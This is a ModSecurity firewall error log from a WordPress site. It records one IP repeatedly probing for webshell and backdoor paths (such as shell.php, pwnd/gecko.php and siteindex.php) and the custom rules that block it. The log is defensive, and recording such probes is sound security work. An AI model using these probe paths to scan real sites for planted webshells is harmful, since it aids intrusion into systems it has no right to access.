[Fri Apr 03 05:08:40.507458 2026] [:error] [pid 58590:tid 58605] [client 20.104.201.101:1877] [client 20.104.201.101] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/rest-api/wp-login.php"] [unique_id "ac7a2Eze_aEPDM9xEE2edwAAAQ0"]
[Fri Apr 03 05:08:43.468390 2026] [:error] [pid 22778:tid 22786] [client 20.104.201.101:1787] [client 20.104.201.101] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/customize/shell.php"] [unique_id "ac7a2_S-q9hkdFqUjq9pRQAAAME"]
[Fri Apr 03 05:08:57.937276 2026] [:error] [pid 22673:tid 22762] [client 20.104.201.101:1952] [client 20.104.201.101] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/block-supports/variations.php"] [unique_id "ac7a6e-GlVDWdWxxwJB2FgAAAJA"]
[Fri Apr 03 05:09:00.081526 2026] [:error] [pid 22673:tid 22768] [client 20.104.201.101:1854] [client 20.104.201.101] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/rest-api/wp-login.php"] [unique_id "ac7a7O-GlVDWdWxxwJB2HAAAAJY"]
[Fri Apr 03 05:09:04.636838 2026] [:error] [pid 58590:tid 58594] [client 20.104.201.101:1819] [client 20.104.201.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/install.php"] [unique_id "ac7a8Eze_aEPDM9xEE2fHQAAAQI"]
[Fri Apr 03 05:09:05.113017 2026] [:error] [pid 22671:tid 22712] [client 20.104.201.101:1767] [client 20.104.201.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/install.php"] [unique_id "ac7a8SRuUnMW7r8hvyY9gwAAABU"]
[Fri Apr 03 05:09:05.529955 2026] [:error] [pid 22672:tid 22743] [client 20.104.201.101:1863] [client 20.104.201.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/install.php"] [unique_id "ac7a8azrgXkFSOK0fvp5oAAAAFg"]
[Fri Apr 03 05:09:05.994617 2026] [:error] [pid 22778:tid 22806] [client 20.104.201.101:1912] [client 20.104.201.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/install.php"] [unique_id "ac7a8fS-q9hkdFqUjq9pkAAAANU"]
[Fri Apr 03 05:09:06.349994 2026] [:error] [pid 22673:tid 22759] [client 20.104.201.101:1758] [client 20.104.201.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/1.php"] [unique_id "ac7a8u-GlVDWdWxxwJB2JQAAAI0"]
[Fri Apr 03 05:09:06.447475 2026] [:error] [pid 22673:tid 22749] [client 20.104.201.101:1763] [client 20.104.201.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/cgi-bin/1.php"] [unique_id "ac7a8u-GlVDWdWxxwJB2JgAAAIM"]
[Fri Apr 03 05:09:06.932729 2026] [:error] [pid 22778:tid 22797] [client 20.104.201.101:1665] [client 20.104.201.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/cgi-bin/1.php"] [unique_id "ac7a8vS-q9hkdFqUjq9plwAAAMw"]
[Fri Apr 03 05:09:07.081950 2026] [:error] [pid 22672:tid 22734] [client 20.104.201.101:1900] [client 20.104.201.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/1.php"] [unique_id "ac7a86zrgXkFSOK0fvp5pAAAAE8"]
[Fri Apr 03 05:09:07.344492 2026] [:error] [pid 58590:tid 58610] [client 20.104.201.101:1845] [client 20.104.201.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/cgi-bin/1.php"] [unique_id "ac7a80ze_aEPDM9xEE2fKQAAARI"]
[Fri Apr 03 05:09:07.781448 2026] [:error] [pid 22672:tid 22723] [client 20.104.201.101:1831] [client 20.104.201.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/cgi-bin/1.php"] [unique_id "ac7a86zrgXkFSOK0fvp5pgAAAEQ"]
[Fri Apr 03 05:09:08.244869 2026] [:error] [pid 22672:tid 22728] [client 20.104.201.101:1739] [client 20.104.201.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/cgi-bin/admin.php"] [unique_id "ac7a9KzrgXkFSOK0fvp5qAAAAEk"]
[Fri Apr 03 05:09:08.663742 2026] [:error] [pid 22672:tid 22726] [client 20.104.201.101:1740] [client 20.104.201.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/cgi-bin/admin.php"] [unique_id "ac7a9KzrgXkFSOK0fvp5qQAAAEc"]
[Fri Apr 03 05:09:09.104764 2026] [:error] [pid 22671:tid 22707] [client 20.104.201.101:1821] [client 20.104.201.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/cgi-bin/admin.php"] [unique_id "ac7a9SRuUnMW7r8hvyY9jAAAABA"]
[Fri Apr 03 05:09:09.524900 2026] [:error] [pid 22672:tid 22720] [client 20.104.201.101:1749] [client 20.104.201.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/cgi-bin/admin.php"] [unique_id "ac7a9azrgXkFSOK0fvp5sAAAAEE"]
[Fri Apr 03 05:09:09.686451 2026] [:error] [pid 22672:tid 22737] [client 20.104.201.101:1772] [client 20.104.201.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/1.php"] [unique_id "ac7a9azrgXkFSOK0fvp5swAAAFI"]
[Fri Apr 03 05:09:09.950653 2026] [:error] [pid 58590:tid 58602] [client 20.104.201.101:1803] [client 20.104.201.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/plugins/pwnd/gecko.php"] [unique_id "ac7a9Uze_aEPDM9xEE2fLQAAAQo"]
[Fri Apr 03 05:09:10.453730 2026] [:error] [pid 58590:tid 58613] [client 20.104.201.101:1742] [client 20.104.201.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/plugins/pwnd/gecko.php"] [unique_id "ac7a9kze_aEPDM9xEE2fMgAAARU"]
[Fri Apr 03 05:09:11.055793 2026] [:error] [pid 22673:tid 22770] [client 20.104.201.101:1846] [client 20.104.201.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/plugins/pwnd/gecko.php"] [unique_id "ac7a9--GlVDWdWxxwJB2MgAAAJg"]
[Fri Apr 03 05:09:11.615610 2026] [:error] [pid 58590:tid 58609] [client 20.104.201.101:1764] [client 20.104.201.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/plugins/pwnd/gecko.php"] [unique_id "ac7a90ze_aEPDM9xEE2fPQAAARE"]
[Fri Apr 03 05:09:12.687452 2026] [:error] [pid 22778:tid 22790] [client 20.104.201.101:1917] [client 20.104.201.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/1.php"] [unique_id "ac7a-PS-q9hkdFqUjq9poQAAAMU"]
[Fri Apr 03 05:09:13.792747 2026] [:error] [pid 22778:tid 22807] [client 20.104.201.101:1734] [client 20.104.201.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/install.php"] [unique_id "ac7a-fS-q9hkdFqUjq9powAAANY"]
[Fri Apr 03 05:09:13.793294 2026] [:error] [pid 22673:tid 22758] [client 20.104.201.101:1833] [client 20.104.201.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/network/lock.php"] [unique_id "ac7a-e-GlVDWdWxxwJB2NgAAAIw"]
[Fri Apr 03 05:09:15.042792 2026] [:error] [pid 22673:tid 22755] [client 20.104.201.101:1827] [client 20.104.201.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/install.php"] [unique_id "ac7a---GlVDWdWxxwJB2OQAAAIk"]
[Fri Apr 03 05:09:15.848946 2026] [:error] [pid 22673:tid 22770] [client 20.104.201.101:1761] [client 20.104.201.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/install.php"] [unique_id "ac7a---GlVDWdWxxwJB2PwAAAJg"]
[Fri Apr 03 05:09:16.000409 2026] [:error] [pid 58590:tid 58606] [client 20.104.201.101:1731] [client 20.104.201.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/network/lock.php"] [unique_id "ac7a-0ze_aEPDM9xEE2fWQAAAQ4"]
[Fri Apr 03 05:09:17.095731 2026] [:error] [pid 58590:tid 58594] [client 20.104.201.101:1689] [client 20.104.201.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/install.php"] [unique_id "ac7a_Uze_aEPDM9xEE2fYAAAAQI"]
[Fri Apr 03 05:09:18.426542 2026] [:error] [pid 58590:tid 58608] [client 20.104.201.101:1741] [client 20.104.201.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/.well-known/pki-validation/siteindex.php"] [unique_id "ac7a_kze_aEPDM9xEE2fbwAAARA"]
[Fri Apr 03 05:09:18.498261 2026] [:error] [pid 58590:tid 58610] [client 20.104.201.101:1748] [client 20.104.201.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/network/lock.php"] [unique_id "ac7a_kze_aEPDM9xEE2fcAAAARI"]
[Fri Apr 03 05:09:19.561582 2026] [:error] [pid 22673:tid 22768] [client 20.104.201.101:1990] [client 20.104.201.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/.well-known/pki-validation/siteindex.php"] [unique_id "ac7a_--GlVDWdWxxwJB2SAAAAJY"]
[Fri Apr 03 05:09:20.364313 2026] [:error] [pid 22672:tid 22722] [client 20.104.201.101:1737] [client 20.104.201.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/.well-known/pki-validation/siteindex.php"] [unique_id "ac7bAKzrgXkFSOK0fvp5xwAAAEM"]
[Fri Apr 03 05:09:20.909812 2026] [:error] [pid 22673:tid 22757] [client 20.104.201.101:1776] [client 20.104.201.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/.well-known/pki-validation/siteindex.php"] [unique_id "ac7bAO-GlVDWdWxxwJB2TAAAAIs"]
[Fri Apr 03 05:09:21.408739 2026] [:error] [pid 22671:tid 22714] [client 20.104.201.101:1798] [client 20.104.201.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/plugins/DaoZM.php"] [unique_id "ac7bASRuUnMW7r8hvyY9oAAAABc"]
[Fri Apr 03 05:09:21.850152 2026] [:error] [pid 22673:tid 22752] [client 20.104.201.101:1765] [client 20.104.201.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/plugins/DaoZM.php"] [unique_id "ac7bAe-GlVDWdWxxwJB2UwAAAIY"]
[Fri Apr 03 05:09:22.363016 2026] [:error] [pid 22672:tid 22720] [client 20.104.201.101:1907] [client 20.104.201.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/plugins/DaoZM.php"] [unique_id "ac7bAqzrgXkFSOK0fvp5ygAAAEE"]
[Fri Apr 03 05:09:22.784059 2026] [:error] [pid 22672:tid 22721] [client 20.104.201.101:1793] [client 20.104.201.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/plugins/DaoZM.php"] [unique_id "ac7bAqzrgXkFSOK0fvp5ywAAAEI"]
[Fri Apr 03 05:09:23.252079 2026] [:error] [pid 22673:tid 22749] [client 20.104.201.101:1783] [client 20.104.201.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/install.php"] [unique_id "ac7bA--GlVDWdWxxwJB2XQAAAIM"]
[Fri Apr 03 05:09:23.721699 2026] [:error] [pid 22672:tid 22725] [client 20.104.201.101:1786] [client 20.104.201.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/install.php"] [unique_id "ac7bA6zrgXkFSOK0fvp5zgAAAEY"]
[Fri Apr 03 05:09:24.159084 2026] [:error] [pid 22672:tid 22729] [client 20.104.201.101:1916] [client 20.104.201.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/install.php"] [unique_id "ac7bBKzrgXkFSOK0fvp5zwAAAEo"]
[Fri Apr 03 05:09:24.576530 2026] [:error] [pid 22672:tid 22727] [client 20.104.201.101:1668] [client 20.104.201.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/install.php"] [unique_id "ac7bBKzrgXkFSOK0fvp50AAAAEg"]
[Fri Apr 03 05:09:25.309715 2026] [:error] [pid 22672:tid 22733] [client 20.104.201.101:1826] [client 20.104.201.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/cgi-bin/1.php"] [unique_id "ac7bBazrgXkFSOK0fvp51AAAAE4"]
[Fri Apr 03 05:09:25.737146 2026] [:error] [pid 22778:tid 22789] [client 20.104.201.101:1769] [client 20.104.201.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/cgi-bin/1.php"] [unique_id "ac7bBfS-q9hkdFqUjq9ptgAAAMQ"]
[Fri Apr 03 05:09:26.155574 2026] [:error] [pid 22778:tid 22804] [client 20.104.201.101:1913] [client 20.104.201.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/cgi-bin/1.php"] [unique_id "ac7bBvS-q9hkdFqUjq9ptwAAANM"]
[Fri Apr 03 05:09:26.602055 2026] [:error] [pid 22673:tid 22761] [client 20.104.201.101:1675] [client 20.104.201.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/cgi-bin/1.php"] [unique_id "ac7bBu-GlVDWdWxxwJB2bAAAAI8"]
[Fri Apr 03 05:09:27.492951 2026] [:error] [pid 22671:tid 22694] [client 20.104.201.101:1829] [client 20.104.201.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/cgi-bin/admin.php"] [unique_id "ac7bByRuUnMW7r8hvyY9qQAAAAM"]
[Fri Apr 03 05:09:28.663124 2026] [:error] [pid 22672:tid 22743] [client 20.104.201.101:1722] [client 20.104.201.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/cgi-bin/admin.php"] [unique_id "ac7bCKzrgXkFSOK0fvp53AAAAFg"]
[Fri Apr 03 05:09:29.320683 2026] [:error] [pid 22673:tid 22770] [client 20.104.201.101:1789] [client 20.104.201.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/cgi-bin/admin.php"] [unique_id "ac7bCe-GlVDWdWxxwJB2fAAAAJg"]
[Fri Apr 03 05:09:29.793872 2026] [:error] [pid 22671:tid 22693] [client 20.104.201.101:1735] [client 20.104.201.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/cgi-bin/admin.php"] [unique_id "ac7bCSRuUnMW7r8hvyY9rgAAAAI"]
[Fri Apr 03 05:09:30.326883 2026] [:error] [pid 22778:tid 22804] [client 20.104.201.101:1988] [client 20.104.201.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/plugins/pwnd/gecko.php"] [unique_id "ac7bCvS-q9hkdFqUjq9pwwAAANM"]
[Fri Apr 03 05:09:30.769549 2026] [:error] [pid 22671:tid 22700] [client 20.104.201.101:1721] [client 20.104.201.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/plugins/pwnd/gecko.php"] [unique_id "ac7bCiRuUnMW7r8hvyY9twAAAAk"]
[Fri Apr 03 05:09:31.321800 2026] [:error] [pid 22778:tid 22786] [client 20.104.201.101:1825] [client 20.104.201.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/plugins/pwnd/gecko.php"] [unique_id "ac7bC_S-q9hkdFqUjq9pxwAAAME"]
[Fri Apr 03 05:09:31.758212 2026] [:error] [pid 22778:tid 22805] [client 20.104.201.101:1884] [client 20.104.201.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/assets/item.php"] [unique_id "ac7bC_S-q9hkdFqUjq9pywAAANQ"]
